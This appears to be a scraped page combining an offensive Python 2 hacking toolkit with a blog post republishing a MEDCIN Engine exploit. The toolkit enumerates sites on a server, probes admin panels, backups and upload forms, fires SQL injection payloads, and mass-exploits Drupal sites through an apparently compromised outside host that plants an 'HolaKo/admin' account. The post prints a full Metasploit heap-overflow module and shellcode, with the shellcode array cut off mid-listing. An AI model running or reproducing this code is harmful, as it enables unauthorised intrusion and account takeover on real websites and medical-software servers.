    print ("This JBoss script deploys a JSP shell on the target JBoss AS server. Once")
    print ("deployed, the script uses its upload and command execution capability to")
    print ("provide an interactive session.")
    print ("")
    print ("usage : ./e.sh target_ip tcp_port ")
    print("Continue: y/n")
    choice9 = raw_input("yes / no :")
    if choice9 in yes:
        os.system("git clone https://github.com/SpiderLabs/jboss-autopwn.git"),sys.exit();
    elif choice9 in no:
        os.system('clear'); exp()
    elif choice9 == "":
        menu()
    else: 
        menu()
####################################
#sqlmap 
def sqlmap():
    print ("usage : python sqlmap.py -h")
    choice8 = raw_input("Continue: y/n :")
    if choice8 in yes:
        os.system("git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev & ")
    elif choice8 in no:
        os.system('clear'); info()
    elif choice8 == "":
        menu()
    else: 
        menu()
####################################
#setoolkit 
def setoolkit():
    print ("The Social-Engineer Toolkit is an open-source penetration testing framework")
    print(") designed for social engineering. SET has a number of custom attack vectors that ")
    print(" allow you to make a believable attack quickly. SET is a product of TrustedSec, LLC  ")
    print("an information security consulting firm located in Cleveland, Ohio.")
    print("")
    choiceset = raw_input("y / n :")
    if choiceset in yes:
        os.system("git clone https://github.com/trustedsec/social-engineer-toolkit.git")
        os.system("python social-engineer-toolkit/setup.py")
    if choiceset in no:
        os.system("clear"); info()
    elif choiceset == "":
        menu()
    else: 
        menu()
####################################
#cupp 
def cupp():
    print("cupp is a password list generator ")
    print("Usage: python cupp.py -h")
    choicecupp = raw_input("Continue: y/n : ")
    
    if choicecupp in yes:
        os.system("git clone https://github.com/Mebus/cupp.git")
        print("file downloaded successfully")
    elif choicecupp in no:
        os.system("clear"); passwd()
    elif choicecupp == "":
        menu()
    else: 
        menu()
####################################
#ncrack 
def ncrack():
    print("A Ruby interface to Ncrack, Network authentication cracking tool.")
    print("requires : nmap >= 0.3ALPHA / rprogram ~> 0.3")
    print("Continue: y/n")
    choicencrack = raw_input("y / n :")
    if choicencrack in yes:
        os.system("git clone https://github.com/sophsec/ruby-ncrack.git")
        os.system("cd ruby-ncrack")
        os.system("install ruby-ncrack")
    elif choicencrack in no:
        os.system("clear"); passwd()
    elif choicencrack == "":
        menu()
    else: 
        menu()
####################################
#reaver
def reaver():
    print """
      Reaver has been designed to be a robust and practical attack against Wi-Fi Protected Setup
      WPS registrar PINs in order to recover WPA/WPA2 passphrases. It has been tested against a
      wide variety of access points and WPS implementations
      1 to accept / 0 to decline
        """
    creaver = raw_input("y / n :")
    if creaver in yes:
        os.system("apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng pixiewps")
        os.system("git clone https://github.com/t6x/reaver-wps-fork-t6x.git")
        os.system("cd reaver-wps-fork-t6x/src/ & ./configure")
        os.system("cd reaver-wps-fork-t6x/src/ & make")
    elif creaver in no:
        os.system("clear"); wire()
    elif creaver == "":
        menu()
    else: 
        menu()
####################################
#sslstrip
def ssls():
    print"""sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping 
    attacks.
    It requires Python 2.5 or newer, along with the 'twisted' python module."""
    cssl = raw_input("y / n :")
    if cssl in yes: 
        os.system("git clone https://github.com/moxie0/sslstrip.git")
        os.system("sudo apt-get install python-twisted-web")
        os.system("python sslstrip/setup.py")
    if cssl in no:
        snif()
    elif cssl =="":
        menu()
    else:
        menu()
####################################
#shellnoob
def shellnoob():
    print """Writing shellcodes has always been super fun, but some parts are extremely boring and error prone. Focus only on the fun part, and use ShellNoob!"""
    cshell = raw_input("Y / N : ")
    if cshell in yes:
        os.system("git clone https://github.com/reyammer/shellnoob.git")
        os.system("mv shellnoob/shellnoob.py shellnoob.py")
        os.system("sudo python shellnoob.py --install")
    if cshell in no:
        exp()
    elif cshell =="":
        menu()
    else:
        menu()
#####################################
#information gathering function
def info():
    print("1: nmap ")
    print("2: Setoolkit")
    print("3: Port Scanning")
    print("4: Host To IP")
    print("99: Back To Main Menu")
    choice2 = raw_input("Select from the menu:")
    if choice2 == "1":
        os.system('clear'); nmap()
    if choice2 == "2":
        os.system("clear"); setoolkit()
    if choice2 == "3":
        os.system("clear"); ports()
    if choice2 == "4":
        os.system("clear"); h2ip()
    elif choice2 =="99":
        os.system("clear"); menu()
    elif choice2 == "":
        menu()
    else: 
        menu()
##########################
def priv8():
    tnn()
#password attacks menu 
def passwd():
    print("1:  cupp ")
    print("2:  Ncrack")
    print("99: Back To Main Menu")
    choice3 = raw_input("Select from the menu:")
    if choice3 =="1":
     os.system("clear"); cupp()
    elif choice3 =="2":
        os.system("clear"); ncrack()
    elif choice3 =="99":
        os.system("clear"); menu()
    elif choice3 == "":
        menu()
    else: 
        menu()
##########################
#wireless attacks
def wire():
    print("1:  reaver ")
    print("99: Back To The Main Menu")
    choice4 = raw_input("Select from the menu:")
    if choice4 =="1":
     os.system("clear");reaver()
    elif choice4 =="99":
        menu()
    elif choice4 == "":
        menu()
    else: 
        menu()
##########################
#exploitation tools
def exp():
    print("1 : jboss-autopwn ")
    print("2 : sqlmap")
    print("3 : Shellnoob")
    print("4 : Inurlbr")
    print("99 : Go Back To Main Menu")
    choice5 = raw_input("Select from the menu:")
    if choice5 =="2":
        os.system("clear"); sqlmap()
    if choice5 =="1":
     os.system('clear'); jboss()
    if choice5 =="3":
        os.system("clear"); shellnoob()
    if choice5 == "4":
        os.system("clear"); ifinurl()
    elif choice5 =="99":
        menu()
    elif choice5 == "":
        menu()
    else: 
        menu()
###########################
#sniffing tools
def snif():
    print("1 : Setoolkit ")
    print("2 : Ssltrip")
    print("99: Back To Main Menu")
    choice6 = raw_input("Select from the menu:")
    if choice6 =="1":
     os.system("clear"); setoolkit()
    if choice6 =="2":
        os.system("clear"); ssls()
    if choice6 =="99":
       os.system("clear"); menu()
    elif choice6 == "":
        menu()
    else: 
        menu()
##########################
#if Os is Windows 
def win():
    os.system("clear")
    print("Our Tool Does Not Support Windows , run it on linux or install a virtual machine ")
    sys.exit();
  #Check use OS
##########################
def OS():
    print(
    """
    Choose Operating System : 
    1) Mac OSX
    2) Linux
    3) Windows
    """)
    system = raw_input("choose an OS : ")
    if system =="2":
        menu()
    elif system =="1":
        root()
    elif system =="3":
        win()
    elif system == "":
        OS()
    else:
        sys.exit();
############################
#check root if linux 
def root():
    if os.getuid() != 0:
        print("Are you root? Please execute as root")
        exit() 
    else:
        menu()
#############################
#priv8 menu 
menuu = """
 1) Get all websites
 2) Get joomla websites
 3) Get wordpress websites
 4) Find control panel
 5) Find zip files
 6) Find upload files
 7) Get server users
 8) Scan from SQL injection
 9) Crawl and scan from SQL injection
 10) Scan ports (range of ports)
 11) Scan ports (common ports)
 12) Get server banner
 13) Bypass Cloudflare
 99) Exit
"""
#############################
#grab function 
def unique(seq):
    """
    get unique from list found it on stackoverflow
    """
    seen = set()
    return [seen.add(x) or x for x in seq if x not in seen]
############################
#clear screen function 
def clearScr() :
    """
    clear the screen in case of GNU/Linux or 
    windows 
    """
    if system() == 'Linux':
        os.system('clear')
    if system() == 'Windows':
        os.system('cls')
############################
class TNscan : #TNscan Function menu 
    def __init__(self, serverip) :
        self.serverip = serverip
        self.getSites(False)
        print menuu
        while True :
            choice = raw_input(' Enter choice -> ')
            if choice == '1' :
                self.getSites(True)
            elif choice == '2' :
                self.getJoomla()
            elif choice == '3' :
                self.getWordpress()
            elif choice == '4' :
                self.findPanels()
            elif choice == '5' :
                self.findZip()
            elif choice == '6' :
                self.findUp()
            elif choice == '7' :
                self.getUsers()
            elif choice == '8' :
                self.grabSqli()
            elif choice == '9' :
                nbpages = int(raw_input(' Enter number of pages to crawl (ex : 100) -> '))
                self.crawlSqli(nbpages)
            elif choice == '10' :
                ran = raw_input(' Enter range of ports, (ex : 1-1000) -> ')
                self.portScanner(1, ran)
            elif choice == '11' :
                self.portScanner(2, None)
            elif choice == '12' :
                self.getServerBanner()
            elif choice == '13' :
                self.cloudflareBypasser()
            elif choice == '99' :
                print ' Goodbye'
                exit()
            con = raw_input(' Continue [Y/n] -> ')
            if con[0].upper() == 'N' :
                exit()
            else :
                clearScr()
                print menuu
############################       
#get websites from server
    def getSites(self, a) :
        """
        get all websites on same server
        from bing search
        """
        lista = []
        page = 1
        while page <= 101:
            try:
                bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+&count=50&first=" + str(page)
                openbing = urllib2.urlopen(bing)
                readbing = openbing.read()
                findwebs = re.findall('<h2><a href="(.*?)"', readbing)
                for i in range(len(findwebs)):
                    allnoclean = findwebs[i]
                    findall1 = re.findall('http://(.*?)/', allnoclean)
                    for idx, item in enumerate(findall1):
                        if 'www' not in item:
                            findall1[idx] = 'http://www.' + item + '/'
                        else:
                            findall1[idx] = 'http://' + item + '/'
                    lista.extend(findall1)
                    
                page += 50
            except urllib2.URLError:
                pass
        self.sites = unique(lista)
        if a :      
            clearScr()
            print '[*] Found ', len(lista), ' Website\n'
            for site in self.sites :
                print site 
############################
#get wordpress websites 
    def getWordpress(self) :
        """
        get wordpress site using a dork the attacker
        may do a password list attack (i did a tool for that purpose check my pastebin) 
        or scan for common vulnerabilities using wpscan for example (i did a simple tool 
        for multi scanning using wpscan)
        """
        lista = []
        page = 1
        while page <= 101:
            try:
                bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+?page_id=&count=50&first=" + str(page)
                openbing = urllib2.urlopen(bing)
                readbing = openbing.read()
                findwebs = re.findall('<h2><a href="(.*?)"', readbing)
                for i in range(len(findwebs)):
                    wpnoclean = findwebs[i]
                    findwp = re.findall('(.*?)\?page_id=', wpnoclean)
                    lista.extend(findwp)
                page += 50
            except:
                pass
        lista = unique(lista)
        clearScr()
        print '[*] Found ', len(lista), ' Wordpress Website\n'
        for site in lista :
            print site
############################
#get joomla websites
    def getJoomla(self) :
        """
        get all joomla websites using 
        bing search the attacker may bruteforce
        or scan them 
        """
        lista = []
        page = 1
        while page <= 101:
            bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+index.php?option=com&count=50&first=" + str(page)
            openbing = urllib2.urlopen(bing)
            readbing = openbing.read()
            findwebs = re.findall('<h2><a href="(.*?)"', readbing)
            for i in range(len(findwebs)):
                jmnoclean = findwebs[i]
                findjm = re.findall('(.*?)index.php', jmnoclean)
                lista.extend(findjm)
            page += 50
        lista = unique(lista)
        clearScr()
        print '[*] Found ', len(lista), ' Joomla Website\n'
        for site in lista :
            print site
############################
#find admin panels
    def findPanels(self) :
        """
        find panels from grabbed websites
        the attacker may do a lot of vulnerabilty 
        tests on the admin area
        """
        print "[~] Finding admin panels"
        adminList = ['admin/', 'site/admin', 'admin.php/', 'up/admin/', 'central/admin/', 'whm/admin/', 'whmcs/admin/', 'support/admin/', 'upload/admin/', 'video/admin/', 'shop/admin/', 'shoping/admin/', 'wp-admin/', 'wp/wp-admin/', 'blog/wp-admin/', 'admincp/', 'admincp.php/', 'vb/admincp/', 'forum/admincp/', 'up/admincp/', 'administrator/', 'administrator.php/', 'joomla/administrator/', 'jm/administrator/', 'site/administrator/', 'install/', 'vb/install/', 'dimcp/', 'clientes/', 'admin_cp/', 'login/', 'login.php', 'site/login', 'site/login.php', 'up/login/', 'up/login.php', 'cp.php', 'up/cp', 'cp', 'master', 'adm', 'member', 'control', 'webmaster', 'myadmin', 'admin_cp', 'admin_site']
        clearScr()
        for site in self.sites :
            for admin in adminList :
                try :
                    if urllib.urlopen(site + admin).getcode() == 200 :
                        print " [*] Found admin panel -> ", site + admin
                except IOError :
                    pass
 ############################         
 #find ZIP files          
    def findZip(self) :
        """
        find zip files from grabbed websites
        it may contain useful informations
        """
        zipList = ['backup.tar.gz', 'backup/backup.tar.gz', 'backup/backup.zip', 'vb/backup.zip', 'site/backup.zip', 'backup.zip', 'backup.rar', 'backup.sql', 'vb/vb.zip', 'vb.zip', 'vb.sql', 'vb.rar', 'vb1.zip', 'vb2.zip', 'vbb.zip', 'vb3.zip', 'upload.zip', 'up/upload.zip', 'joomla.zip', 'joomla.rar', 'joomla.sql', 'wordpress.zip', 'wp/wordpress.zip', 'blog/wordpress.zip', 'wordpress.rar']
        clearScr()
        print "[~] Finding zip file"
        for site in self.sites :
            for zip1 in zipList :
                try:
                    if urllib.urlopen(site + zip1).getcode() == 200 :
                        print " [*] Found zip file -> ", site + zip1
                except IOError :
                    pass
 ############################  
 #find upload directories     
    def findUp(self) :
        """
        find upload forms from grabbed 
        websites the attacker may succeed to 
        upload malicious files like webshells
        """
        upList = ['up.php', 'up1.php', 'up/up.php', 'site/up.php', 'vb/up.php', 'forum/up.php','blog/up.php', 'upload.php', 'upload1.php', 'upload2.php', 'vb/upload.php', 'forum/upload.php', 'blog/upload.php', 'site/upload.php', 'download.php']
        clearScr()
        print "[~] Finding Upload"
        for site in self.sites :
            for up in upList :
                try :   
                    if (urllib.urlopen(site + up).getcode() == 200) :
                        html = urllib.urlopen(site + up).readlines()
                        for line in html :
                            if re.findall('type=file', line) :
                                print " [*] Found upload -> ", site+up
                except IOError :
                    pass
 ############################ 
#find users                  
    def getUsers(self) :
        """
        get server users using a method found by 
        iranian hackers i think, the attacker may
        do a bruteforce attack on CPanel, ssh, ftp or 
        even mysql if it supports remote login
        (you can use medusa or hydra)
        """
        clearScr()
        print "[~] Grabbing Users"
        userslist = []
        for site1 in self.sites :
            try:
                site = site1
                site = site.replace('http://www.', '')
                site = site.replace('http://', '')
                site = site.replace('.', '')
                if '-' in site:
                    site = site.replace('-', '')
                site = site.replace('/', '')
                while len(site) > 2:
                    resp = urllib2.urlopen(site1 + '/cgi-sys/guestbook.cgi?user=%s' % site).read()
                    if 'invalid username' not in resp.lower():
                        print '\t [*] Found -> ', site
                        userslist.append(site)
                        break
                    else :
                        print site
                        
                    site = site[:-1]
            except:
                pass
                    
        clearScr()
        for user in userslist :
            print user
############################        
#bypass cloudflare   
    def cloudflareBypasser(self) :
        """
        trys to bypass cloudflare i already wrote
        in my blog how it works, i learned this 
        method from a guy in madleets
        """
        clearScr()
        print "[~] Bypassing cloudflare"
        subdoms = ['mail', 'webmail', 'ftp', 'direct', 'cpanel']
        for site in self.sites :
            site.replace('http://', '')
            site.replace('/', '')           
            try:
                ip = socket.gethostbyname(site)
            except socket.error:
                pass
            for sub in subdoms:
                doo = sub + '.' + site
                print ' [~] Trying -> ', doo
                try:
                    ddd = socket.gethostbyname(doo)
                    if ddd != ip:
                        print ' [*] Cloudflare bypassed -> ', ddd
                        break
                except socket.error :
                    pass
############################   
#find the server banner                 
    def getServerBanner(self) :
        """
        simply gets the server banner 
        the attacker may benefit from it 
        like getting the server side software
        """
        clearScr()
        try:
            s = 'http://' + self.serverip
            httpresponse = urllib.urlopen(s)
            print ' [*] Server header -> ', httpresponse.headers.getheader('server')
        except:
            pass
############################    
#greb the sqli         
    def grabSqli(self) :
        """
        just grabs all websites in server with php?id= dork 
        for scanning for error based sql injection
        """
        page = 1
        lista = []
        while page <= 101:
            try:
                bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+php?id=&count=50&first=" + str(page)
                openbing = urllib2.urlopen(bing)
                readbing = openbing.read()
                findwebs = re.findall('<h2><a href="(.*?)"', readbing)
                for i in range(len(findwebs)):
                    x = findwebs[i]
                    lista.append(x)
            except:
                pass            
            page += 50  
        lista = unique(lista)       
        self.checkSqli(lista)
 ############################      
 #scan for sql injection  
    def checkSqli(self, s):
        """
        checks for error based sql injection,
        most of the codes here are from webpwn3r 
        project the one who has found an lfi in 
        yahoo as i remember, you can find a separate 
        tool in my blog 
        """
        clearScr()
        print "[~] Checking SQL injection"
        payloads = ["3'", "3%5c", "3%27%22%28%29", "3'><", "3%22%5C%27%5C%22%29%3B%7C%5D%2A%7B%250d%250a%3C%2500%3E%25bf%2527%27"]
        check = re.compile("Incorrect syntax|mysql_fetch|Syntax error|Unclosed.+mark|unterminated.+qoute|SQL.+Server|Microsoft.+Database|Fatal.+error", re.I)
        for url in s:
            try:
                for param in url.split('?')[1].split('&'):
                    for payload in payloads:
                        power = url.replace(param, param + payload.strip())
                        #print power
                        html = urllib2.urlopen(power).readlines()
                        for line in html:
                            checker = re.findall(check, line)
                            if len(checker) != 0 :
                                print ' [*] SQLi found -> ', power
            except:
                pass
 ############################   
 #craw SQL 
    def crawlSqli(self, nbpages) :
        """
        simple crawling using chilkat (yeah chilkat sucks)
        and scan for error based sql injection
        [!] will be on the next version
        """
        import chilkat
        spider = chilkat.CkSpider()
        for url in self.sites :
            spidred = []
            print " [~] Crawling -> ", url
            spider.Initialize(url)
            #spider.unspideredUrl(url)
            i = 0
            for i in range(nbpages) :
                if spider.CrawlNext() :
                    spidred.append(spider.lastUrl())
            print " [+] Crawled -> ", spidred
            print " [~] Scanning -> ", url, " from SQL injection"
            self.checkSqli(spidred)
  ############################        
  #scan for ports  
    def portScanner(self, mode, ran) :
        """
        simple port scanner works with range of ports 
        or with common ports (al-swisre idea)
        """
        clearScr()
        print "[~] Scanning Ports"
        def do_it(ip, port):
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            #sock.settimeout(5)
            sock = sock.connect_ex((ip,port))
            if sock == 0:
                print " [*] Port %i is open" % port 
        
        if mode == 1 :
            a = ran.split('-')
            start = int(a[0])
            end = int(a[1])
            for i in range(start, end):
                do_it(self.serverip, i)
        elif mode == 2 :
            for port in [80,21,22,2082,25,53,110,443,143] :
                # didn't use multithreading cos it's few ports
                do_it(self.serverip, port)
############################


minu ='''
\t 1: Drupal Bing Exploiter
\t 2: Get Drupal Websites
\t 3: Drupal Mass Exploiter
\t 99: Back To Main Menu
'''


            #Definition Of Drupal Bing Expoliter 
def drupal():

    '''Drupal Exploit Binger All Websites Of server '''
    ip  = raw_input('1- IP : ')
    page  = 1
    while page <= 50 :
      
      url   = "http://www.bing.com/search?q=ip%3A"+ip+"&go=Valider&qs=n&form=QBRE&pq=ip%3A"+ip+"&sc=0-0&sp=-1&sk=&cvid=af529d7028ad43a69edc90dbecdeac4f&first="+str(page)
      req   = urllib2.Request(url)
      opreq = urllib2.urlopen(req).read()
      findurl = re.findall('<div class="b_title"><h2><a href="(.*?)" h=',opreq)
      page += 1 
      
      for url in findurl :
        try : 
            
                        urlpa = urlparse(url)
                        site  = urlpa.netloc

                        print "[+] Testing At "+site
                        resp = urllib2.urlopen('http://crig-alda.ro/wp-admin/css/index2.php?url='+site+'&submit=submit')
                        read=resp.read()
                        if "User : HolaKo" in read:
                           print "Exploit found =>"+site

                           print "user:HolaKo\npass:admin"
                           a = open('up.txt','a')
                           a.write(site+'\n')
                           a.write("user:"+user+"\npass:"+pwd+"\n")
                        else :
                           print "[-] Expl Not Found :( "

        except Exception as ex :
                       print ex
                       sys.exit(0)


            #Drupal Server ExtraCtor
def getdrupal():
    ip  = raw_input('2- Ip : ')
    page  = 1
    sites = list()
    while page <= 50 :
      
      url   = "http://www.bing.com/search?q=ip%3A"+ip+"+node&go=Valider&qs=ds&form=QBRE&first="+str(page)
      req   = urllib2.Request(url)
      opreq = urllib2.urlopen(req).read()
      findurl = re.findall('<div class="b_title"><h2><a href="(.*?)" h=',opreq)
      page += 1 
      
      for url in findurl :
                             split = urlparse(url)
                             site   = split.netloc
                             if site not in sites :
                                      print site 
                                      sites.append(site)
      

            #Drupal Mass List Exploiter 
def drupallist():
    listop = raw_input("Enter The list Txt :")
    fileopen = open(listop,'r')
    content = fileopen.readlines() 
    for i in content :
        url=i.strip()
        try :
            openurl = urllib2.urlopen('http://crig-alda.ro/wp-admin/css/index2.php?url='+url+'&submit=submit')
            readcontent = openurl.read()
            if  "Success" in readcontent :
                print "[+]Success =>"+url
                print "[-]username:HolaKo\n[-]password:admin"
                save = open('drupal.txt','a')
                save.write(url+"\n"+"[-]username:HolaKo\n[-]password:admin\n")
                               
            else : 
                print i + "=> exploit not found " 
        except Exception as ex :
            print ex

def maine():
    
     print minu
     choose = raw_input("choose a number :")
     while True : 
      
      if choose == "1": 
        drupal()
      if choose == "2":
        getdrupal()
      if choose == "3":
        drupallist()
      if choose == "4":
        about()
      if choose == "99":
           
            menu()
      con = raw_input('Continue [Y/n] -> ')
      if con[0].upper() == 'N' :
                                    exit()
      if con[0].upper() == 'Y' :
                                    maine()
                                

#initialise the tnscan function 
class tnn():
    def __init__(self):
        clearScr()
        aaa = raw_input("Target IP : ")
        TNscan(aaa)
############################
#begin :D 
if __name__ == "__main__":
  OS()

Source: https://github.com/x3omdax | Our Post Before

MEDCIN Engine Memory Write/Heap Buffer Overflow module.

$
0
0

CVE-2015-2898-2901, CVE-2015-6006 POC Exploit & Metasploit module This is a proof of concept exploit for version 2.22.20142.166 and prior of the MEDCIN Engine (medcinserv.exe or medcinservv22.exe).medcine-engine-module more info: https://www.securifera.com/blog/2016/01/06/medcin-engine-exploitation-part-2-cve-2015-2898-2901-cve-2015-6006/
Module Description:
This module exploits three separate vulnerabilities. The first vulnerability allows an attacker to leak back all of the data in the process’s data section. The second vulnerability allows the overwrite of a function pointer in the data section to somewhere controlled in the heap. The last vulnerability allows for the overflow of the heap into the allocation pointed to by the overwritten function pointer.

Module Show Option

Module Show Option

Usage:

git clone https://github.com/securifera/CVE-2015-2900-Exploit
then copy medcin_bof.rb from CVE-2015-2900-Exploit into metasploit module directory
1 Copy Module in metasploit directory
(kali linux example): /usr/share/metasploit-framework/modules/exploit/windows/misc/medcin_bof.rb
(ubuntu linux example): /opt/metasploit/apps/pro/msf3/modules/exploit/windows/misc/medcin_bof.rb
2 msf > reload_all
3 msf > use exploit/windows/misc/medcin_bof
4 msf exploit(medcin_bof) > info
5 msf exploit(medcin_bof) > show options
6 msf exploit(medcin_bof) > show advanced options
7 msf exploit(medcin_bof) > set [option(s)]

Usage DECRUX.py:
python DECRUX.py [host] [port]

medcin_bof.rb Script:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'		=> 'MEDCIN Engine Memory Disclosure/Arbitrary Write/Heap Buffer Overflow',
      'Description'	=> %q{
          This module exploits three separate vulnerabilities. The first vulnerability allows an	
          attacker to leak back all of the data in the process's data section. The second vulnerability
          allows the overwrite of a function pointer in the data section to somewhere controlled in the 
          heap. The last vulnerability allows for the overflow of the heap into the allocation pointed
          to by the overwritten function pointer. 
      },
      'Author' 	=> [ 'b0yd' ],
      'Arch'		=> [ ARCH_X86 ],
      'License'       => MSF_LICENSE,
      'References'    =>
        [
          [ 'CVE', '2015-2900,2901,6006'],
          [ 'OSVDB', ''],
          [ 'BID', '77127'],
          [ 'URL', 'https://www.securifera.com/advisories/cve-2015-2898-2901/'],
        ],
      'Privileged'		=> false,
      'DefaultOptions'	=>
        {
          'EXITFUNC' 	=> 'process',
        },
      'Payload'        	=>
        {
          'Space'		=> 1000,
          'BadChars'		=> "\x00\x0a",
        },
      'Platform' => ['win'],
       'Targets'        =>
        [
          [
            'MEDCIN < 2.22.20153.226',
            {
            }
          ],
        ],
      'DisclosureDate' => 'Oct 20 2015',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(8080),
      ], self.class)
  end

  def check
    connect
    print_status("Attempting to determine if target is possibly vulnerable...")
    select(nil,nil,nil,7)

    return Exploit::CheckCode::Safe
  end
  
  def send_receive(type, pack_len, data)

    ret_len = 0
    if pack_len < 6 or pack_len > 0x3d090
      print "Length(Arg 2) must be between 6 and 0x3d090 bytes."
      return
    end

    #Set the type
    buf = [type].pack('S>')
  
    #Send length, must be less than 0x3d090, can be negative
    buf += [pack_len].pack('I>')

    #Send header
    sock.put(buf)

    #Send data
    if pack_len > 0
      #Send data
      sock.put(data)
    end

    ret_data = ''
    loop do
      temp = sock.get_once(-1,0.5)
      break if temp == nil
      ret_data += temp
    end

    return ret_data	
  end
  
  def free_alloc_ptrs( ptr_offset )

    #Free buffers
    free_number = ptr_offset

    #Free buffers
    i = 265

    #send a packet to zero out the target address
    data = [free_number].pack('I>')
    data += "\x00"

    ret_len = send_receive( i, data.length + 6, data )	
  end
  
  def trigger_heap_overflow( len_str )

    #Data overflow type
    i = 27

    #send a packet and try to receive results
    data = ''
    if len_str > 0
      data += "\x90" * len_str
      data += sc
    end
    
    data += "\x00"
    ret_len = send_receive( i, data.length + 6, data )
    
  end
  
  def leak_mem( starting_size, overwrite_byte, max_len )

    j = starting_size
    k = 7

    ret_data = ''
    while true

      #Data overflow type
      i = 256

      #send a packet and try to receive results
      data = ''
      data += "\x00"
      data += overwrite_byte * j
      data += "\x00"

      #send and receive
      ret_data = send_receive( i, data.length + 6, data )
      ret_buf_len = ret_data.length
      diff = max_len - ret_buf_len

      #print_status("Received Bytes: " + ret_buf_len.to_s(16))
      if ret_buf_len > max_len
	break
      elsif diff < 0x26
	j = 65
      elsif diff < 0x100
	j = 72
      else
	j = (diff / 2) + 64
      end
      
      sleep(0.2)
    end
    
    return ret_data
  end
  
  def groom_heap( size )

    #Data overflow type
    i = 84

    #send a packet and try to receive results
    data = ''
    #data += offset
    prng = Random.new
    offset = prng.rand(2000000000) 
    #offset = random.randint(1, 2000000000)
    data += [offset].pack('I>')
    data += "A"* size
    data += "\x00"

    ret_len = send_receive( i, data.length + 6, data )
    sleep(0.2)
    
  end
  
  def alloc_free_single( index, alloc_flag, size )

    if index < 0 or index > 100
      print_error("Please give an index > 0 and < 100.")
      return
    end

    #Try things
    i = 122

    data = [index].pack('S>')
    if alloc_flag
      data += "A"* size
    end
		#print "[+] Allocated buffer for index " + str(index)
	#else:
		#print "[+] Freed buffer at index " + str(index)
		
    data += "\x00"
	
    send_receive( i, data.length + 6, data)
  end

  def exploit
    print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...")
    connect
    print_status("Connected to MEDCIN Service.")
    print_status("Reallocating initial heap buffers for exploit.")
    
    #Free buffers
    free_number = 0xFF439EB2
    free_alloc_ptrs( free_number )
    
    #Alloc buffers
    alloc_number = 0xf5000
    free_alloc_ptrs( alloc_number )
    
    # Release heap address
    print_status("Freeing heap buffer for heap overflow.")
    trigger_heap_overflow(0)
    
    print_status("Overflowing data section to leak heap pointers.")
    #Send initial packet, crashes sometimes without it
    #Data overflow type
    i = 256

    #send a packet and try to receive results
    data = ''
    data += "\x00"
    data += "\x01" * 64
    data += "\x00"
    
    ret_data = send_receive( i, data.length + 6, data )
        
    # offset to addr + header
    offset_to_addr = 0x65e0 + 6
    offset_to_addr2 = 0x3aa8 + 6

    # Fill the data section with 0x1s
    ret_data = leak_mem( 0x3a00, "\x01", offset_to_addr )
  
    # Get the data so we can parse it
    ret_data = leak_mem( 65, "\x04", offset_to_addr + 2 )
    #ret_buf_len = ret_data.length

    #print out
    off_addr_arr = ret_data[offset_to_addr, 4]
    off_addr_arr2 = ret_data[offset_to_addr2, 4]
    
    if off_addr_arr.length == 4 
      off_addr = off_addr_arr.unpack("I")[0]
    else
      off_addr = 0x0
    end
    
    #print_status("Arb write address: " + off_addr.to_s(16))
    
    off_addr2 = off_addr_arr2.unpack("I")[0]
    #print_status("Dependent address: " + off_addr2.to_s(16))
    
    # Activate low frag heap
    print_status("Activating Low Fragmentaion Heap for second size and skipping first bucket.")
    for i in 0..0x70
      groom_heap( 0xff )
    end
    
    #Reserve spot for later
    alloc_free_single( 12, true, 0xff )	
    alloc_free_single( 13, true, 0xff )	

    for i in 0..0x30
      groom_heap( 0xff )
    end
    
    #Free one
    alloc_free_single( 13, false, 0xff )
    
    # Func Ptr
    func_ptr_addr = 0x04E9128
    offset = (func_ptr_addr - off_addr)/4

    # Arbitrary write
    print_status("Overwriting function pointer with heap pointer.")
    i = 70
    offset2 = 0xf5000

    #send a packet and try to receive results
    data = ''
    data += [offset].pack('I>')
    data += [offset2].pack('I>')
    data += "\x01" * 0xffa9
    data += "\x00"*16

    ret_len = send_receive( i, data.length + 6, data )
    sleep( 2 )

    #Reserve spot for later
    alloc_free_single( 12, false, 0xff )	
    
    # Arbitrary write
    print_status("Overflowing heap allocation with shellcode.")

    func_ptr_addr = 0x04E9348
    offset = (func_ptr_addr - off_addr)/4
    i = 70
    offset2 = 0xf5000

    #send a packet and try to receive results
    data = ''
    data += [offset].pack('I>')
    data += [offset2].pack('I>')

    buf = make_nops( 1200 )
    buf << payload.encoded
    
    data += buf
    data += "\x01" * ( 0xffa9 - buf.length )
    data += "\x00"*16

    ret_len = send_receive( i, data.length + 6, data )
    sleep( 2 )

    # Call function pointer
    print_status("Calling overwritten function pointer.")
    i = 12

    index = 100
    data = [index].pack('I>')
    send_receive( i, data.length + 6, data)
    
    #Handle the shell
    handler
    disconnect
  end

end

DECRUX.py Script :

import socket
import sys
import struct
import time
import os
import random
import binascii

#CALC.exe
#Payload size: 220 bytes
sc =  ""
sc += "\xbe\x26\xa1\xf7\xb8\xd9\xea\xd9\x74\x24\xf4\x58\x33"
sc += "\xc9\xb1\x31\x83\xe8\xfc\x31\x70\x0f\x03\x70\x29\x43"
sc += "\x02\x44\xdd\x01\xed\xb5\x1d\x66\x67\x50\x2c\xa6\x13"
sc += "\x10\x1e\x16\x57\x74\x92\xdd\x35\x6d\x21\x93\x91\x82"
sc += "\x82\x1e\xc4\xad\x13\x32\x34\xaf\x97\x49\x69\x0f\xa6"
sc += "\x81\x7c\x4e\xef\xfc\x8d\x02\xb8\x8b\x20\xb3\xcd\xc6"
sc += "\xf8\x38\x9d\xc7\x78\xdc\x55\xe9\xa9\x73\xee\xb0\x69"
sc += "\x75\x23\xc9\x23\x6d\x20\xf4\xfa\x06\x92\x82\xfc\xce"
sc += "\xeb\x6b\x52\x2f\xc4\x99\xaa\x77\xe2\x41\xd9\x81\x11"
sc += "\xff\xda\x55\x68\xdb\x6f\x4e\xca\xa8\xc8\xaa\xeb\x7d"
